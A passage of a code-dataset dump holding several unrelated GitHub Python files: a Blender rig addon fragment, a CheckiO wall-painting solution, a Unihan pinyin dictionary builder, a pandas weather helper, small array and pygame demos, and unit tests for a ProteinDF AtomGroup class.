proxy_obs_bconst.target_space = 'LOCAL'\n proxy_obs_bconst.owner_space = 'LOCAL'\n # add a driver to scale the influence by the mega_mini_rig's mega_mini_scale value\n add_bconst_scl_influence_driver(mega_mini_rig, proxy_obs_bconst)\n\n bpy.ops.object.mode_set(mode=old_3dview_mode)\n\n # parent widgets to new MegaMini Rig, first widget is \"main parent\" widget to other widgets\n if len(widget_objs) > 0:\n main_parent = None\n for w in widget_objs.values():\n if main_parent is None:\n # parent first widget to rig\n main_parent = w\n main_parent.parent = mega_mini_rig\n continue\n # parent remaining widgets to first widget\n w.parent = main_parent\n\n mega_mini_rig.data.layers = RIG_BONEVIS_LAYERS\n\n # move mega-mini rig to cursor location\n mega_mini_rig.location = get_cursor_location(context)\n\n return mega_mini_rig\n\nclass MEGAMINI_CreateMegaMiniRig(bpy.types.Operator):\n bl_description = \"Create a MegaMini rig, for 'condensed space' - e.g. Solar system simulations, \" + \\\n \"outer-space-to-Earth-surface zoom. Rig will be created with New Rig Properties\"\n bl_idname = \"mega_mini.create_mega_mini_rig\"\n bl_label = \"Create MegaMini Rig\"\n bl_options = {'REGISTER', 'UNDO'}\n\n def execute(self, context):\n mega_mini_scale = context.scene.MegaMini_NewObserverScale\n mega_mini_fp_power = context.scene.MegaMini_NewObserverFP_Power\n mega_mini_fp_min_dist = context.scene.MegaMini_NewObserverFP_MinDist\n mega_mini_fp_min_scale = context.scene.MegaMini_NewObserverFP_MinScale\n if mega_mini_scale <= 0:\n self.report({'ERROR'}, \"Error in new Observer scale. Must be greater than zero.\")\n return {'CANCELLED'}\n create_mega_mini_armature(context, mega_mini_scale, mega_mini_fp_power, mega_mini_fp_min_dist,\n mega_mini_fp_min_scale)\n return {'FINISHED'}\n","repo_name":"DreamSpoon/MegaMini","sub_path":"mega_mini/rig.py","file_name":"rig.py","file_ext":"py","file_size_in_byte":18250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42673907902","text":"#!/usr/bin/env checkio --domain=py run painting-wall\n\n# Nicola has built a simple robot for painting of the wall. The wall is marked at each meter and the robot has a list of painting operations. Each operation describes which part of wall it needs to paint as a range from place to place, inclusively. For example: the operation [1, 5] means to paint the sections from 1 to 5 meters including sections 1 and 5. Operations are executed in the order they are placed in the list of operations. If the range of various operations are overlapped, thenthey must be counted once.\n# \n# Stephan has prepared a list of operations, but we need to check it before the robot executes its painting plan. You are given the number of meters on the walls which need painting, (the painted zones can be separated by non painted parts) and the list of operations prepared by Stephan, you should determine the number of operations from this list required to paint the designated length of the wall. If it's impossible to paint that length with the given operations, then return -1.\n# \n# \n# \n# Input:Two arguments.The required length of the wall that should be painted, as integer.A list of the operations that contains the range (inclusive) as a list of two integers.\n# \n# Output:The minimum number of operations. If you cannot paint enough of the length with the given operations, return -1.\n# \n# Hint:To handle the beginning-end of the list, you could try running a binary search.\n# \n# Precondition:\n# 0 < len(operations) ≤ 30\n# all(0 < x < 2 * 10 ** 18 and 0 < y < 2 * 10 ** 18 for x, y inoperations)\n# 0 < required < 2 * 10 ** 18\n# \n# \n# END_DESC\n\nclass Wall:\n def __init__(self):\n self._painted = []\n\n def painted_length(self):\n p_len = 0\n if self._painted:\n for x in self._painted:\n p_len += x[1]-x[0]+1\n return p_len\n\n def b_search(self, elem):\n # will return the position to insert the painting section\n s = 0\n e = len(self._painted)\n\n if e == 0:\n return 0\n elif e == 1:\n if self._painted[0][0] < elem[0]:\n return 1\n else:\n return 0\n\n # check end condition first\n if self._painted[e-1][0] < elem[0]:\n return e\n\n while s <= e:\n mid = (s + e) // 2\n if mid == 0:\n if elem[0] < self._painted[0][0]:\n return 0\n if self._painted[mid][0] <= elem[0] <= self._painted[mid+1][0]:\n return mid + 1\n else:\n if elem[0] < self._painted[mid][0]:\n e = mid - 1\n else:\n s = mid + 1\n\n def point_test(self, pt: list, end: int):\n if end < pt[0]:\n return 'L'\n elif pt[0] <= end <= pt[1]:\n return 'I'\n elif pt[1] < end:\n return 'R'\n\n def mangle_points(self, pt, op) -> list:\n pt_stat = self.point_test(pt, op[0]) + self.point_test(pt, op[1])\n if pt_stat == 'LL': # op all the way left (2pts)\n return [op, pt]\n elif pt_stat == 'LI': # op crossing lhs (merge to 1 pt)\n a = [op[0], pt[1]]\n return [a, ]\n elif pt_stat == 'LR': # op covering pt (op only, discard pt)\n return [op, ]\n elif pt_stat == 'II': # pt covering op (pt only, discard op) # this case shouldn't happen\n return [pt, ]\n elif pt_stat == 'IR': # op crossing rhs (merge to 1 pt)\n a = [pt[0], op[1]]\n return [a, ]\n elif pt_stat == 'RR': # op all the way left (2pts)\n return [pt, op]\n\n @property\n def painted(self):\n return self._painted\n\n def insert_op(self, op):\n # check op if valid\n if op[0] > op[1]:\n raise\n\n paint_ops = len(self._painted)\n pos = self.b_search(op)\n\n if paint_ops == 0:\n self._painted.insert(pos, op)\n else:\n # test against sections of painted maps, outside(below, above), crossed(before/after), inside\n # check end conditions\n if pos == 0:\n pt_r = self._painted[0]\n self._painted.pop(pos)\n pt_list = self.mangle_points(pt_r, op)\n for x in pt_list[::-1]:\n self._painted.insert(pos, x)\n elif pos == paint_ops:\n pt_l = self._painted[pos-1]\n self._painted.pop(pos-1)\n pt_list = self.mangle_points(pt_l, op)\n for x in pt_list[::-1]:\n self._painted.insert(pos-1, x)\n else:\n pt_r = self._painted[pos]\n self._painted.pop(pos)\n pt_list = self.mangle_points(pt_r, op)\n for x in pt_list[::-1]:\n self._painted.insert(pos, x)\n\n new_pos = pos - 1\n pt_l = self._painted[new_pos]\n self._painted.pop(new_pos)\n pt_r = self._painted[new_pos]\n self._painted.pop(new_pos)\n\n pt_list = self.mangle_points(pt_l, pt_r)\n for x in pt_list[::-1]:\n self._painted.insert(new_pos, x)\n\n # check op[2]\n if pos >= len(self._painted) - 1:\n return\n\n while self._painted[pos][1] > self._painted[pos+1][0]:\n pt_l = self._painted[pos]\n self._painted.pop(pos)\n pt_r = self._painted[pos]\n self._painted.pop(pos)\n\n pt_list = self.mangle_points(pt_l, pt_r)\n for x in pt_list[::-1]:\n self._painted.insert(pos, x)\n\n if pos >= len(self._painted) - 1:\n break\n\n\ndef checkio(required, operations):\n\n wall = Wall()\n\n for i in range(len(operations)):\n x = operations[i]\n wall.insert_op(x)\n print(wall.painted)\n\n a = wall.painted_length()\n if a >= required:\n print(\"required ops: \", i + 1)\n return i + 1\n else:\n print(\"can't accomplished...\")\n return -1\n\n\nif __name__ == '__main__':\n # checkio(15, [[10, 20], [1, 2], [20, 30], [25, 28], [5, 10], [4, 21], [1, 6]])\n # print(checkio(30, [[1, 2], [20, 30], [25, 28], [5, 10], [4, 21], [1, 6]]))\n print(checkio(5000,\n [[8598, 9442], [4221, 4432], [4864, 5415], [1315, 1960], [9577, 10482], [8147, 8346], [6063, 6836], [24, 606],\n [6170, 7131], [1397, 2020], [4690, 5651], [5267, 5464], [8422, 8886], [5547, 5738], [5722, 6511], [6605, 6905],\n [1321, 2242], [9335, 9993], [1626, 1887], [4699, 4926]]))\n # checkio(100, [[5, 30], [1, 6]])\n # checkio(20, [[1, 5], [10, 15], [20, 25], [3, 18], [2, 24]])\n # checkio(15, [[1, 2], [20, 30], [25, 28], [5, 10], [4, 21], [1, 6]])\n\n # These \"asserts\" using only for self-checking and not necessary for auto-testing\n '''\n assert checkio(5, [[1, 5], [11, 15], [2, 14], [21, 25]]) == 1, \"1st\"\n assert checkio(6, [[1, 5], [11, 15], [2, 14], [21, 25]]) == 2, \"2nd\"\n assert checkio(11, [[1, 5], [11, 15], [2, 14], [21, 25]]) == 3, \"3rd\"\n assert checkio(16, [[1, 5], [11, 15], [2, 14], [21, 25]]) == 4, \"4th\"\n assert checkio(21, [[1, 5], [11, 15], [2, 14], [21, 25]]) == -1, \"not enough\"\n assert checkio(1000000011, [[1, 1000000000], [11, 1000000010]]) == -1, \"large\"\n print(\"yes\")\n '''","repo_name":"todatech/checkio","sub_path":"py_checkio_solutions/GitHub/painting_wall.py","file_name":"painting_wall.py","file_ext":"py","file_size_in_byte":7534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29757232680","text":"import codecs, pickle\n# -*- coding: utf-8 -*-\n\nf=codecs.open('..\\\\sources\\\\Unihan.txt','r','utf8')\nlines = []\nfor line in f:\n lines.append(line[:-1]) # lines end in \"\\n\"\nf.close()\nlines=lines[102:-1] # the first 101 lines are an introduction, the last says end of file\n\ntoneDict = {u\"iao\": {1: u\"iāo\", 2: u\"iáo\", 3: u\"iǎo\", 4: u\"iào\", 5: u\"iao\"},\n u\"uai\": {1: u\"uāi\", 2: u\"uái\", 3: u\"uǎi\", 4: u\"uài\", 5: u\"uai\"},\n u\"ai\": {1: u\"āi\", 2: u\"ái\", 3: u\"ǎi\", 4: u\"ài\", 5: u\"ai\"},\n u\"ao\": {1: u\"āo\", 2: u\"áo\", 3: u\"ǎo\", 4: u\"ào\", 5: u\"ao\"},\n u\"ia\": {1: u\"iā\", 2: u\"iá\", 3: u\"iǎ\", 4: u\"ià\", 5: u\"ia\"},\n u\"ua\": {1: u\"uā\", 2: u\"uá\", 3: u\"uǎ\", 4: u\"uà\", 5: u\"ua\"},\n u\"a\": {1: u\"ā\", 2: u\"á\", 3: u\"ǎ\", 4: u\"à\", 5: u\"a\"},\n u\"ei\": {1: u\"ēi\", 2: u\"éi\", 3: u\"ěi\", 4: u\"èi\", 5: u\"ei\"},\n u\"ie\": {1: u\"iē\", 2: u\"ié\", 3: u\"iě\", 4: u\"iè\", 5: u\"ie\"},\n u\"ue\": {1: u\"uē\", 2: u\"ué\", 3: u\"uě\", 4: u\"uè\", 5: u\"ue\"},\n u\"üe\": {1: u\"üē\", 2: u\"üé\", 3: u\"üě\", 4: u\"üè\", 5: u\"üe\"},\n u\"e\": {1: u\"ē\", 2: u\"é\", 3: u\"ě\", 4: u\"è\", 5: u\"e\"},\n u\"ui\": {1: u\"uī\", 2: u\"uí\", 3: u\"uǐ\", 4: u\"uì\", 5: u\"ui\"},\n u\"i\": {1: u\"ī\", 2: u\"í\", 3: u\"ǐ\", 4: u\"ì\", 5: u\"i\"},\n u\"io\": {1: u\"iō\", 2: u\"ió\", 3: u\"iǒ\", 4: u\"iò\", 5: u\"io\"},\n u\"ou\": {1: u\"ōu\", 2: u\"óu\", 3: u\"ǒu\", 4: u\"òu\", 5: u\"ou\"},\n u\"o\": {1: u\"ō\", 2: u\"ó\", 3: u\"ǒ\", 4: u\"ò\", 5: u\"o\"},\n u\"uo\": {1: u\"uō\", 2: u\"uó\", 3: u\"uǒ\", 4: u\"uò\", 5: u\"uo\"},\n u\"iu\": {1: u\"iū\", 2: u\"iú\", 3: u\"iǔ\", 4: u\"iù\", 5: u\"iu\"},\n u\"u\": {1: u\"ū\", 2: u\"ú\", 3: u\"ǔ\", 4: u\"ù\", 5: u\"u\"},\n u\"ü\": {1: u\"ǖ\", 2: u\"ǘ\", 3: u\"ǚ\", 4: u\"ǜ\", 5: u\"ü\"}}\nnuclei = [u\"iao\", u\"uai\", u\"ai\", u\"ao\", u\"ia\", u\"ua\", u\"ei\", u\"ie\", u\"ue\",\n u\"üe\", u\"ui\", u\"io\", u\"ou\", u\"uo\", u\"iu\", u\"a\", u\"e\", u\"i\", u\"o\", u\"u\",u\"ü\"] # must be this order so can't use keys()\nmandarinDict = {}\nid = 0\nfor line in lines:\n fields = line.split(\"\\t\")\n # ^[A-Z\\x{308}]+[1-5]$\n if fields[1]==\"kMandarin\":\n codepoint = fields[0]\n values = fields[2]\n valueList = values.split(\" \")\n for value in valueList:\n initial = value[0]\n if len(value[:-1]) > 1: # remove the tone sign\n second = value[1]\n else:\n second = u\"\"\n mandarinDict[id] = {\"codepoint\":codepoint,\"reading\":value.lower(),\"initial\":initial,\"second\":second,\"pinyin\": u\"\"}\n id += 1\nfor mandarinKey in mandarinDict.keys():\n reading = mandarinDict[mandarinKey][\"reading\"]\n tone = int(reading[-1])\n toneless = reading[:-1]\n found = False\n for toneKey in nuclei:\n if toneKey in toneless and found == False:\n pinyin = toneless.replace(toneKey,toneDict[toneKey][tone])\n found = True\n mandarinDict[mandarinKey][\"pinyin\"] = pinyin\n mandarinDict[mandarinKey][\"tone\"] = tone\n mandarinDict[mandarinKey][\"toneless\"] = toneless\n \nf=codecs.open(\"..\\\\dicts\\\\mandarinDict.py\",\"wb\")\npickle.dump(mandarinDict,f)\nf.close()\n","repo_name":"philneal/Eohan","sub_path":"Chinese Phonology/makedicts/makeMandarinDict.py","file_name":"makeMandarinDict.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15137857224","text":"import pandas as pd\n\n\ndef prepare_weather(filename, year):\n initial_df = pd.read_csv(f'data/{filename}', header=0)\n initial_df['day'] = initial_df[year]\n initial_df.drop([year], inplace=True, axis=1)\n s = pd.DataFrame(initial_df.set_index(['day']).unstack(['day']))\n df = pd.DataFrame(s.to_records(), index=s.index).reset_index(drop=True)[['level_0', 'day', '0']].reset_index(drop=True)\n df['date'] = df['day'].astype(str) + \"-\" + df['level_0'] + f'-{year}'\n df = df[['0', 'date']].dropna()\n df['date'] = pd.to_datetime(df['date'])\n return df","repo_name":"tomasmor42/solar-forecast","sub_path":"prepare_weather.py","file_name":"prepare_weather.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39170777299","text":"from array import array\nnumber = [\"i\", 12, 15, 16]\nprint(type(number))\nnumbers = array(\"i\", [12, 15, 16])\nprint(numbers)\nprint(type(numbers))\nb = (\"i\", [12, 15, 16])\nprint(type(b))\n\nnumbers_class = [[1, 2, 3, 4]] # o(1)\nnumbers_class = [[1, 2, 3, 4], [1, 2, 3, 4]] # o(2)","repo_name":"NilofarMoradiFarisar/Python_project_Shaghayegh","sub_path":"array_.py","file_name":"array_.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73294837527","text":"import pygame\nimport sys\n\npygame.init()\n\n# Set up the display\ndisplaySize = (800,600)\nscreen = pygame.display.set_mode(displaySize)\npygame.display.set_caption(\"First Games Window\")\n# Change the background COlor\nbackgroundColor = pygame.Color(\"#ff9671\")\nscreen.fill(backgroundColor)\npygame.display.flip()\n\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n # Game logic and rendering go here\n\npygame.quit()\nsys.exit()\n","repo_name":"vijayganesh/pythonWorkshop","sub_path":"game01/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28872854828","text":"import unittest\nimport pickle\nimport doctest\n\nfrom proteindf_bridge.position import Position\nfrom proteindf_bridge.atom import Atom\nfrom proteindf_bridge.atomgroup import AtomGroup\nfrom proteindf_bridge.select import Select_Range\n\nclass AtomGroupTests(unittest.TestCase):\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def test_init(self):\n group1 = AtomGroup()\n atom1 = Atom(symbol='C')\n atom2 = Atom(symbol='H')\n atom3 = Atom(symbol='N')\n subgrp = AtomGroup()\n subgrp.set_atom('C1', atom1)\n subgrp.set_atom('H1', atom2)\n subgrp.set_atom('N1', atom3)\n group1.set_group('grp', subgrp)\n\n self.assertEqual(group1['grp']['C1'].symbol, 'C')\n self.assertEqual(group1['grp']['C1'].path, '/grp/C1')\n self.assertEqual(group1['grp']['H1'].symbol, 'H')\n self.assertEqual(group1['grp']['H1'].path, '/grp/H1')\n self.assertEqual(group1.get_number_of_atoms(), 0)\n self.assertEqual(group1.get_number_of_groups(), 1)\n self.assertEqual(group1.get_number_of_all_atoms(), 3)\n self.assertAlmostEqual(group1.sum_of_atomic_number(), 14.0)\n\n def test_pickle(self):\n group1 = AtomGroup()\n atom1 = Atom(symbol='C')\n atom2 = Atom(symbol='H')\n atom3 = Atom(symbol='N')\n subgrp = AtomGroup()\n subgrp.set_atom('C1', atom1)\n subgrp.set_atom('H1', atom2)\n subgrp.set_atom('N1', atom3)\n group1.set_group('grp', subgrp)\n\n b = pickle.dumps(group1)\n group2 = pickle.loads(b)\n\n self.assertIsInstance(group2, AtomGroup)\n self.assertEqual(group2.get_number_of_atoms(), 0)\n self.assertEqual(group2.get_number_of_groups(), 1)\n self.assertEqual(group2.get_number_of_all_atoms(), 3)\n self.assertAlmostEqual(group2.sum_of_atomic_number(), 14.0)\n\n def test_op_and(self):\n C1 = Atom(symbol='C')\n H1 = Atom(symbol='H')\n N1 = Atom(symbol='N')\n\n # group1\n group1 = AtomGroup()\n subgrp1 = AtomGroup()\n subgrp1.set_atom('C1', C1)\n subgrp1.set_atom('H1', H1)\n subgrp1.set_atom('N1', N1)\n group1.set_group('grp', subgrp1)\n\n # group2\n group2 = AtomGroup()\n subgrp2 = AtomGroup()\n subgrp2.set_atom('C1', C1)\n subgrp2.set_atom('H1', H1)\n group2.set_group('grp', subgrp2)\n\n # run\n group3 = group1 & group2\n # print(group3)\n\n # check\n self.assertIsInstance(group3, AtomGroup)\n self.assertEqual(group3.get_number_of_all_atoms(), 2)\n self.assertEqual(group3.get_number_of_atoms(), 0)\n self.assertEqual(group3.has_groupkey('grp'), True)\n self.assertEqual(group3['grp'].get_number_of_all_atoms(), 2)\n self.assertEqual(group3['grp'].get_number_of_atoms(), 2)\n self.assertEqual(group3['grp'].has_atom('C1'), True)\n self.assertEqual(group3['grp'].has_atom('H1'), True)\n\n def test_op_iand(self):\n C1 = Atom(symbol='C')\n H1 = Atom(symbol='H')\n N1 = Atom(symbol='N')\n\n # group1\n group1 = AtomGroup()\n subgrp1 = AtomGroup()\n subgrp1.set_atom('C1', C1)\n subgrp1.set_atom('H1', H1)\n subgrp1.set_atom('N1', N1)\n group1.set_group('grp', subgrp1)\n\n # group2\n group2 = AtomGroup()\n subgrp2 = AtomGroup()\n subgrp2.set_atom('C1', C1)\n subgrp2.set_atom('H1', H1)\n group2.set_group('grp', subgrp2)\n\n # run\n group1 &= group2\n # print(group1)\n\n # check\n self.assertIsInstance(group1, AtomGroup)\n self.assertEqual(group1.get_number_of_all_atoms(), 2)\n self.assertEqual(group1.get_number_of_atoms(), 0)\n self.assertEqual(group1.has_groupkey('grp'), True)\n self.assertEqual(group1['grp'].get_number_of_all_atoms(), 2)\n self.assertEqual(group1['grp'].get_number_of_atoms(), 2)\n self.assertEqual(group1['grp'].has_atom('C1'), True)\n self.assertEqual(group1['grp'].has_atom('H1'), True)\n\n def test_op_or(self):\n C1 = Atom(symbol='C')\n H1 = Atom(symbol='H')\n N1 = Atom(symbol='N')\n\n # group1\n group1 = AtomGroup()\n subgrp1 = AtomGroup()\n subgrp1.set_atom('C1', C1)\n subgrp1.set_atom('H1', H1)\n subgrp1.set_atom('N1', N1)\n group1.set_group('grp', subgrp1)\n\n # group2\n group2 = AtomGroup()\n subgrp2 = AtomGroup()\n subgrp2.set_atom('C1', C1)\n subgrp2.set_atom('H1', H1)\n group2.set_group('grp', subgrp2)\n\n # run\n group3 = group1 | group2\n # print(group3)\n\n # check\n self.assertIsInstance(group3, AtomGroup)\n self.assertEqual(group3.get_number_of_all_atoms(), 3)\n self.assertEqual(group3.get_number_of_atoms(), 0)\n self.assertEqual(group3.has_groupkey('grp'), True)\n self.assertEqual(group3['grp'].get_number_of_all_atoms(), 3)\n self.assertEqual(group3['grp'].get_number_of_atoms(), 3)\n self.assertEqual(group3['grp'].has_atom('C1'), True)\n self.assertEqual(group3['grp'].has_atom('H1'), True)\n self.assertEqual(group3['grp'].has_atom('N1'), True)\n\n def test_op_ior(self):\n C1 = Atom(symbol='C')\n H1 = Atom(symbol='H')\n N1 = Atom(symbol='N')\n\n # group1\n group1 = AtomGroup()\n subgrp1 = AtomGroup()\n subgrp1.set_atom('C1', C1)\n subgrp1.set_atom('H1', H1)\n subgrp1.set_atom('N1', N1)\n group1.set_group('grp', subgrp1)\n\n # group2\n group2 = AtomGroup()\n subgrp2 = AtomGroup()\n subgrp2.set_atom('C1', C1)\n subgrp2.set_atom('H1', H1)\n group2.set_group('grp', subgrp2)\n\n # run\n group1 |= group2\n # print(group1)\n\n # check\n self.assertIsInstance(group1, AtomGroup)\n self.assertEqual(group1.get_number_of_all_atoms(), 3)\n self.assertEqual(group1.get_number_of_atoms(), 0)\n self.assertEqual(group1.has_groupkey('grp'), True)\n self.assertEqual(group1['grp'].get_number_of_all_atoms(), 3)\n self.assertEqual(group1['grp'].get_number_of_atoms(), 3)\n self.assertEqual(group1['grp'].has_atom('C1'), True)\n self.assertEqual(group1['grp'].has_atom('H1'), True)\n self.assertEqual(group1['grp'].has_atom('N1'), True)\n\n def test_op_xor(self):\n C1 = Atom(symbol='C')\n H1 = Atom(symbol='H')\n N1 = Atom(symbol='N')\n O1 = Atom(symbol='O')\n\n # group1\n group1 = AtomGroup()\n subgrp1 = AtomGroup()\n subgrp1.set_atom('C1', C1)\n subgrp1.set_atom('H1', H1)\n subgrp1.set_atom('N1', N1)\n group1.set_group('grp', subgrp1)\n\n # group2\n group2 = AtomGroup()\n subgrp2 = AtomGroup()\n subgrp2.set_atom('C1', C1)\n subgrp2.set_atom('H1', H1)\n subgrp2.set_atom('O1', O1)\n group2.set_group('grp', subgrp2)\n\n # run\n group3 = group1 ^ group2\n # print(group3)\n\n # check\n self.assertIsInstance(group3, AtomGroup)\n self.assertEqual(group3.get_number_of_all_atoms(), 2)\n self.assertEqual(group3.get_number_of_atoms(), 0)\n self.assertEqual(group3.has_groupkey('grp'), True)\n self.assertEqual(group3['grp'].get_number_of_all_atoms(), 2)\n self.assertEqual(group3['grp'].get_number_of_atoms(), 2)\n self.assertEqual(group3['grp'].has_atom('N1'), True)\n self.assertEqual(group3['grp'].has_atom('O1'), True)\n\n def test_op_ixor(self):\n C1 = Atom(symbol='C')\n H1 = Atom(symbol='H')\n N1 = Atom(symbol='N')\n O1 = Atom(symbol='O')\n\n # group1\n group1 = AtomGroup()\n subgrp1 = AtomGroup()\n subgrp1.set_atom('C1', C1)\n subgrp1.set_atom('H1', H1)\n subgrp1.set_atom('N1', N1)\n group1.set_group('grp', subgrp1)\n\n # group2\n group2 = AtomGroup()\n subgrp2 = AtomGroup()\n subgrp2.set_atom('C1', C1)\n subgrp2.set_atom('H1', H1)\n subgrp2.set_atom('O1', O1)\n group2.set_group('grp', subgrp2)\n\n # run\n group1 ^= group2\n # print(group1)\n\n # check\n self.assertIsInstance(group1, AtomGroup)\n self.assertEqual(group1.get_number_of_all_atoms(), 2)\n self.assertEqual(group1.get_number_of_atoms(), 0)\n self.assertEqual(group1.has_groupkey('grp'), True)\n self.assertEqual(group1['grp'].get_number_of_all_atoms(), 2)\n self.assertEqual(group1['grp'].get_number_of_atoms(), 2)\n self.assertEqual(group1['grp'].has_atom('N1'), True)\n self.assertEqual(group1['grp'].has_atom('O1'), True)\n\n\n def test_atom_list(self):\n group1 = AtomGroup()\n atom1 = Atom(symbol='C')\n atom2 = Atom(symbol='H')\n atom3 = Atom(symbol='N')\n subgrp = AtomGroup()\n subgrp.set_atom('C1', atom1)\n subgrp.set_atom('H1', atom2)\n subgrp.set_atom('N1', atom3)\n group1.set_group('grp', subgrp)\n\n atom_list = group1.get_atom_list()\n self.assertEqual(len(atom_list), 3)\n\n\n def test_set_atom_by_path(self):\n atom1 = Atom(symbol='C', xyz=\"1.1 2.1 3.1\")\n atom2 = Atom(symbol='C', xyz=\"1.2 2.2 3.2\")\n atom3 = Atom(symbol='C', xyz=\"1.3 2.3 3.3\")\n\n atomgroup = AtomGroup()\n atomgroup.set_atom('/C1', atom1)\n atomgroup.set_atom('/group_A/C2', atom2)\n atomgroup.set_atom('/group_A/group_B/C3', atom3)\n self.assertIsInstance(atomgroup, AtomGroup)\n self.assertEqual(atomgroup.get_number_of_all_atoms(), 3)\n self.assertEqual(atomgroup.get_number_of_atoms(), 1)\n self.assertEqual(atomgroup.has_groupkey('group_A'), True)\n self.assertEqual(atomgroup['group_A'].get_number_of_all_atoms(), 2)\n self.assertEqual(atomgroup['group_A'].get_number_of_atoms(), 1)\n self.assertEqual(atomgroup['group_A'].has_groupkey('group_B'), True)\n self.assertEqual(atomgroup['group_A']['group_B'].get_number_of_atoms(), 1)\n\n\n def test_path(self):\n atom10 = Atom(symbol=\"C\")\n atom11 = Atom(symbol=\"H\")\n atom12 = Atom(symbol=\"H\")\n atom13 = Atom(symbol=\"H\")\n atomgroup1 = AtomGroup()\n atomgroup1.set_atom(\"C\", atom10)\n atomgroup1.set_atom(\"H1\", atom11)\n atomgroup1.set_atom(\"H2\", atom12)\n atomgroup1.set_atom(\"H3\", atom13)\n\n self.assertEqual(atomgroup1.path, \"/\")\n self.assertEqual(atomgroup1[\"C\"].path, \"/C\")\n self.assertEqual(atomgroup1[\"H1\"].path, \"/H1\")\n self.assertEqual(atomgroup1[\"H2\"].path, \"/H2\")\n self.assertEqual(atomgroup1[\"H3\"].path, \"/H3\")\n\n atomgroup2 = AtomGroup()\n atomgroup2.set_group(\"Me\", atomgroup1)\n self.assertEqual(atomgroup2.path, \"/\")\n self.assertEqual(atomgroup2[\"Me\"][\"C\"].path, \"/Me/C\")\n\n atomgroup3 = AtomGroup()\n atomgroup3.set_group(\"grp3\", atomgroup2)\n self.assertEqual(atomgroup3[\"grp3\"][\"Me\"][\"H3\"].path, \"/grp3/Me/H3\")\n\n def test_path_copy(self):\n atom10 = Atom(symbol=\"C\")\n atomgroup1 = AtomGroup()\n atomgroup1.set_atom(\"C\", atom10)\n\n self.assertEqual(atomgroup1.path, \"/\")\n self.assertEqual(atomgroup1[\"C\"].path, \"/C\")\n\n grp_cp = AtomGroup(atomgroup1)\n self.assertEqual(grp_cp.path, \"/\")\n self.assertEqual(grp_cp[\"C\"].path, \"/C\")\n\n atomgroup2 = AtomGroup()\n atomgroup2.set_group(\"Me\", atomgroup1)\n grp_cp2 = AtomGroup(atomgroup2)\n self.assertEqual(grp_cp2.path, \"/\")\n self.assertEqual(grp_cp2[\"Me\"][\"C\"].path, \"/Me/C\")\n\n\n def test_select_range(self):\n atom10 = Atom(symbol='H', xyz=\"1.0 0.0 0.0\")\n atom11 = Atom(symbol='H', xyz=\"1.1 0.0 0.0\")\n atom12 = Atom(symbol='H', xyz=\"1.2 0.0 0.0\")\n atom13 = Atom(symbol='H', xyz=\"1.3 0.0 0.0\")\n\n grp1 = AtomGroup()\n grp1.set_atom(\"H0\", atom10)\n grp1.set_atom(\"H1\", atom11)\n grp1.set_atom(\"H2\", atom12)\n grp1.set_atom(\"H3\", atom13)\n\n grp10 = AtomGroup()\n grp10.set_group(\"g1\", grp1)\n grp100 = AtomGroup()\n grp100.set_group(\"g10\", grp10)\n self.assertEqual(grp100[\"g10\"][\"g1\"][\"H0\"].path, \"/g10/g1/H0\")\n\n selecter1 = Select_Range(Position(0.0, 0.0, 0.0), 1.01)\n part1 = grp100.select(selecter1)\n self.assertEqual(part1.get_number_of_all_atoms(), 1)\n self.assertEqual(part1[\"g10\"][\"g1\"][\"H0\"].path, \"/g10/g1/H0\")\n\n selecter2 = Select_Range(Position(0.0, 0.0, 0.0), 2.00)\n part2 = grp100.select(selecter2)\n self.assertEqual(part2.get_number_of_all_atoms(), 4)\n self.assertEqual(part2[\"g10\"][\"g1\"][\"H0\"].path, \"/g10/g1/H0\")\n self.assertEqual(part2[\"g10\"][\"g1\"][\"H1\"].path, \"/g10/g1/H1\")\n self.assertEqual(part2[\"g10\"][\"g1\"][\"H2\"].path, \"/g10/g1/H2\")\n self.assertEqual(part2[\"g10\"][\"g1\"][\"H3\"].path, \"/g10/g1/H3\")\n\n def test_get_path_list(self):\n group1 = AtomGroup()\n atom1 = Atom(symbol='C')\n atom2 = Atom(symbol='H')\n atom3 = Atom(symbol='N')\n subgrp = AtomGroup()\n subgrp.set_atom('C1', atom1)\n subgrp.set_atom('H1', atom2)\n subgrp.set_atom('N1', atom3)\n group1.set_group('grp', subgrp)\n\n path_list = group1.get_path_list()\n self.assertIsInstance(path_list, list)\n self.assertEqual(len(path_list), 3)\n self.assertEqual(path_list[0], '/grp/C1')\n self.assertEqual(path_list[1], '/grp/H1')\n self.assertEqual(path_list[2], '/grp/N1')\n\n\n def test_divide_path(self):\n parts = AtomGroup.divide_path(\"atom0\")\n self.assertEqual(len(parts), 1)\n self.assertEqual(parts[0], \"atom0\")\n\n parts = AtomGroup.divide_path(\"/res1/atom2\")\n self.assertEqual(parts[0], \"res1\")\n self.assertEqual(parts[1], \"atom2\")\n\n def test_get_formula(self):\n group1 = AtomGroup()\n atom1 = Atom(symbol='C')\n atom2 = Atom(symbol='H')\n atom3 = Atom(symbol='H')\n subgrp = AtomGroup()\n subgrp.set_atom('C1', atom1)\n subgrp.set_atom('H1', atom2)\n subgrp.set_atom('H2', atom3)\n group1.set_group('grp', subgrp)\n\n formula = group1.get_formula()\n self.assertEqual(formula, \"H2C1\")\n\n\ndef load_tests(loader, tests, ignore):\n from proteindf_bridge import atomgroup\n tests.addTests(doctest.DocTestSuite(atomgroup))\n return tests\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"ProteinDF/ProteinDF_bridge","sub_path":"tests/test_atomgroup.py","file_name":"test_atomgroup.py","file_ext":"py","file_size_in_byte":14503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"40876019497","text":"\"\"\"\n# Created by viv at 22.10.18\n\nThis script will simply check that camera and pygame is working correctly or not by simply displying image of\ncamera into 